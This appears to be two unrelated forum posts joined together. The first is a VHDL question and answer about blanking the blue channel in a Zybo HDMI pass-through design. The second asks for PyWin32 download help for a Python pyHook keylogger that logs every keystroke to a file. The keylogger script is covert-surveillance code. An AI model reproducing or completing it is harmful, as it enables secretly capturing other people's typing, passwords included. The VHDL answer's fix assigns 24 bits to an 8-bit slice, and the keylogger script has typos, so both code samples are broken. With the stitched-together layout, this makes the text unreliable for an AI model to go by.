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ERROR: type should be string, got " https://github.com/dpaul24/hdmi_pass_through_ZyboZ7-10?_ga=2.34188391.796043983.1579510279-2100398226.1578999679\nSo after getting that working all i want to do is be able to effect the video output. To do this, I tried to set the rgb 24 bit vectors last 8 bits to 0, removing all blue from the output. If i try the following code (with or without the process block) i get a syntax error on the \"if\" statement line\nprocess is \nbegin\n if sw ='0' then\n vid_pData(7 downto 0) <= sw\n end if;\nend process;\n\nThe issue is I don't seem to be able to put this anywhere in the code without causing an error. Can someone explain what's happening here?\nFull code below:\n\nlibrary IEEE;\nuse IEEE.STD_LOGIC_1164.ALL;\n\nlibrary UNISIM;\nuse UNISIM.VComponents.all;\n\nentity hdmi_pass_top is\n Port ( \n sysclk_i : in std_logic; -- 125MH System Clock Input\n async_reset_i : in std_logic; -- Reset switch on board\n\n -- HDMI In/Rx\n tmds_rx_clk_p_i : in std_logic;\n tmds_rx_clk_n_i : in std_logic;\n tmds_rx_data_p_i : in std_logic_vector(2 downto 0);\n tmds_rx_data_n_i : in std_logic_vector(2 downto 0);\n hdmi_rx_hpd_o : out std_logic := '1'; -- HPD must be driven\n -- I2C\n sda_io : inout std_logic;\n scl_io : inout std_logic;\n\n -- HDMI Out/Tx\n tmds_tx_clk_p_o : out std_logic;\n tmds_tx_clk_n_o : out std_logic;\n tmds_tx_data_p_o : out std_logic_vector(2 downto 0);\n tmds_tx_data_n_o : out std_logic_vector(2 downto 0); \n\n sw : in std_logic\n );\nend hdmi_pass_top;\n\n\narchitecture hdmi_pass_top_arc of hdmi_pass_top is\n\ncomponent dvi2rgb_0\n port (\n TMDS_Clk_p : in std_logic;\n TMDS_Clk_n : in std_logic;\n TMDS_Data_p : in std_logic_vector(2 downto 0);\n TMDS_Data_n : in std_logic_vector(2 downto 0);\n RefClk : in std_logic;\n aRst : in std_logic;\n vid_pData : out std_logic_vector(23 downto 0);\n vid_pVDE : out std_logic; \n vid_pHSync : out std_logic;\n vid_pVSync : out std_logic;\n PixelClk : out std_logic;\n aPixelClkLckd : out std_logic;\n SDA_I : in std_logic;\n SDA_O : out std_logic;\n SDA_T : out std_logic;\n SCL_I : in std_logic;\n SCL_O : out std_logic;\n SCL_T : out std_logic;\n pRst : in std_logic\n );\nend component;\n\ncomponent rgb2dvi_0\n PORT (\n TMDS_Clk_p : out std_logic;\n TMDS_Clk_n : out std_logic;\n TMDS_Data_p : out std_logic_vector(2 downto 0);\n TMDS_Data_n : out std_logic_vector(2 downto 0);\n aRst : in std_logic;\n vid_pData : in std_logic_vector(23 downto 0);\n vid_pVDE : in std_logic;\n vid_pHSync : in std_logic;\n vid_pVSync : in std_logic;\n PixelClk : in std_logic\n );\nend component;\n\n\ncomponent clk_wiz_0\nport\n (-- Clock in ports\n -- Clock out ports\n clk_out1 : out std_logic;\n -- Status and control signals\n reset : in std_logic;\n locked : out std_logic;\n clk_in1 : in std_logic\n );\nend component;\n\nsignal vid_pData : std_logic_vector(23 downto 0);\nsignal vid_pVDE : std_logic;\nsignal vid_pHSync : std_logic;\nsignal vid_pVSync : std_logic;\nsignal pixelclk : std_logic;\nsignal locked : std_logic;\nsignal clk_200M : std_logic;\nsignal pixel_clk_sync_rst : std_logic;\n\nsignal sda_i : std_logic;\nsignal sda_o : std_logic;\nsignal sda_t : std_logic;\nsignal scl_i : std_logic;\nsignal scl_o : std_logic;\nsignal scl_t : std_logic;\n\nbegin\n\nclkwiz_inst : clk_wiz_0\n port map ( \n -- Clock out ports \n clk_out1 => clk_200M,\n -- Status and control signals \n reset => async_reset_i,\n locked => locked,\n -- Clock in ports\n clk_in1 => sysclk_i\n );\n\ndvi2rgb_inst : dvi2rgb_0\n port map (\n TMDS_Clk_p => tmds_rx_clk_p_i,\n TMDS_Clk_n => tmds_rx_clk_n_i,\n TMDS_Data_p => tmds_rx_data_p_i,\n TMDS_Data_n => tmds_rx_data_n_i,\n RefClk => clk_200M,\n aRst => async_reset_i, --Active high asynchronous RefClk reset\n vid_pData => vid_pData,\n vid_pVDE => vid_pVDE,\n vid_pHSync => vid_pHSync,\n vid_pVSync => vid_pVSync,\n PixelClk => pixelclk,\n aPixelClkLckd => open, -- \n SDA_I => sda_i,\n SDA_O => sda_o,\n SDA_T => sda_t,\n SCL_I => scl_i,\n SCL_O => scl_o,\n SCL_T => scl_t,\n pRst => '0' -- Active high PixelClk synchronous reset\n );\n\n\nSDA_IOBUF_inst: IOBUF\n generic map(\n DRIVE => 12,\n IOSTANDARD => \"DEFAULT\",\n SLEW => \"SLOW\"\n )\n port map(\n O => sda_i, -- Buffer output\n IO => sda_io, -- Buffer inout port(connect directly to top-level port)\n I => sda_o, -- Bufferinput\n T => sda_t -- 3-state enable input,high=input,low=output\n ); \n\n\n\nSCL_IOBUF_inst: IOBUF\n generic map(\n DRIVE => 12,\n IOSTANDARD => \"DEFAULT\",\n SLEW => \"SLOW\"\n )\n port map(\n O => scl_i, -- Buffer output\n IO => scl_io, -- Buffer inout port(connect directly to top-level port)\n I => scl_o, -- Buffer input\n T => scl_t -- 3-state enable input,high=input,low=output\n ); \n\nrgb2dvi_inst : rgb2dvi_0\n port map (\n TMDS_Clk_p => tmds_tx_clk_p_o,\n TMDS_Clk_n => tmds_tx_clk_n_o,\n TMDS_Data_p => tmds_tx_data_p_o,\n TMDS_Data_n => tmds_tx_data_n_o,\n aRst => async_reset_i,\n vid_pData => vid_pData,\n vid_pVDE => vid_pVDE,\n vid_pHSync => vid_pHSync,\n vid_pVSync => vid_pVSync,\n PixelClk => pixelclk\n );\n\nend hdmi_pass_top_arc;\n\n\nEDIT: changed my if statement to\nvid_pData(7 downto 0) <= \"00000000\" when sw = '0';\n\nand it got rid of the error but the implementation failed. The failure is: \n\n[DRC MDRV-1] Multiple Driver Nets: Net\n dvi2rgb_inst/U0/GenerateBUFG.ResyncToBUFG_X/vid_pData[0] has multiple\n drivers: vid_pData_reg[0]/Q, and\n dvi2rgb_inst/U0/GenerateBUFG.ResyncToBUFG_X/poData_reg[0]/Q.\n\n\nA: You're not writing software, you're designing hardware. Your extra code drives signal vid_pData. So, does component dvi2rgb_0. So you have two drivers on that signal. A short circuit in other words. \nAlso, you do not say what value vid_pData should take if sw is not equal to '0'. Therefore, you will get latches in your hardware. (Google \"inferring a latch\".) \nYou need a new signal, eg:\nsignal vid_pData_new : std_logic_vector(23 downto 0);\n\nthen you need to assign a value for both sw equals '0' and '1', otherwise you will get a latch:\nvid_pData_new(7 downto 0) <= vid_pData(23 downto 8) & \"00000000\" when sw = '0' else vid_pData;\n\nThe & operator is the concatenation operator. Finally, you need to drive component rgb2dvi_0 with your new signal:\nrgb2dvi_inst : rgb2dvi_0\n port map (\n TMDS_Clk_p => tmds_tx_clk_p_o,\n TMDS_Clk_n => tmds_tx_clk_n_o,\n TMDS_Data_p => tmds_tx_data_p_o,\n TMDS_Data_n => tmds_tx_data_n_o,\n aRst => async_reset_i,\n vid_pData => vid_pData_new, -- <-----------------\n vid_pVDE => vid_pVDE,\n vid_pHSync => vid_pHSync,\n vid_pVSync => vid_pVSync,\n PixelClk => pixelclk\n );\n\n\nCan you see what has been done here? We have inserted a new piece of hardware that drives the new signal vid_pData_new and have specified its value for both possible values of sw. We must do this, otherwise we will get latches. We are designing hardware, not writing software.\n"

ERROR: type should be string, got "https://www.youtube.com/watch?v=8BiOPBsXh0g\nI've got PyHook but on PyWin32 I tried downloading it from the site given in the video. If anyone can send me a download link for it, I will be grateful and this would help me.\nBTW I am using Python 2.7 because that is what PyHook is on, I wouldn't mind if you could send me both links for 3.6.3 either that would be good or guide me through it! :D\nimport pyHook, pythoncom, sys, logging\n\nfile_log - 'C:\\\\important\\\\log.txt'\n\ndef OnKeyboardEvent(event):\n logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')\n chr(event.Ascii)\n logging.log(10,chr(event.Ascii))\n return True\n\n\nhooks_manager = pyHook.HookManager()\nhooks_manager.manger.KeyDown = OnKeyboardEvent\nhooks_manager.HookKeyboard()\npythoncom.PumpMessages()\n\n"